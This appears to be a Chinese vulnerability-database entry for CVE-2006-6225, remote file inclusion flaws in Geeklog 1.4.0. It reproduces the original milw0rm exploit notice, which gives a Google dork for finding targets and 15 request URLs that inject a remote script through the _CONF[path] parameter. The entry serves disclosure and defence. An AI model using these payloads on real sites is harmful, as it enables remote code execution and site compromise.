Geeklog多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110537 漏洞类型 输入验证
发布时间 2006-06-29 更新时间 2007-03-05
CVE编号 CVE-2006-6225 CNNVD-ID CNNVD-200612-010
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/1963
https://www.securityfocus.com/bid/18740
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-010
|漏洞详情
GeekLog存在多个PHP远程文件包含漏洞,远程攻击者可通过传给在plugins/目录下的(1)links/functions.inc,(2)polls/functions.inc,(3)spamx/BlackList.Examine.class.php,(4)spamx/DeleteComment.Action.class.php,(5)spamx/EditIPofURL.Admin.class.php,(6)spamx/MTBlackList.Examine.class.php,(7)spamx/MassDelete.Admin.class.php,(8)spamx/MailAdmin.Action.class.php,(9)spamx/MassDelTrackback.Admin.class.php,(10)spamx/EditHeader.Admin.class.php,(11)spamx/EditIP.Admin.class.php,(12)spamx/IPofUrl.Examine.class.php,(13)spamx/Import.Admin.class.php,(14)spamx/LogView.Admin.class.php和(15)staticpages/functions.inc的_CONF[path]参数内的URL来执行任意代码。
|漏洞EXP
--------------------------------------------------------------------------- 
GeekLog <= 1.4.0 (_CONF[path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Google d0rk: "powered by geeklog"


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : GeekLog  
version : latest version [ 1.4 ]
URL : http://www.geeklog.net/

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $_CONF[path] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

were [path] on some cases => www.site.com/[path]/public_html/index.php

# http://www.site.com/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script]
#http://www.site.com/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script]




---------------------------------------------------------------------------

Solution :
~~~~~~~~~~

declare variabel $_CONF[path]
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-29]
|受影响的产品
Geeklog Geeklog 1.4 sr1 Geeklog Geeklog 1.4.0sr3 Geeklog Geeklog 1.4.0sr2
|参考资料

来源:XF
名称:geeklog-multiple-scripts-file-include(27469)
链接:http://xforce.iss.net/xforce/xfdb/27469
来源:BID
名称:18740
链接:http://www.securityfocus.com/bid/18740
来源:MILW0RM
名称:1963
链接:http://www.milw0rm.com/exploits/1963
来源:MILW0RM
名称:1963
链接:http://milw0rm.com/exploits/1963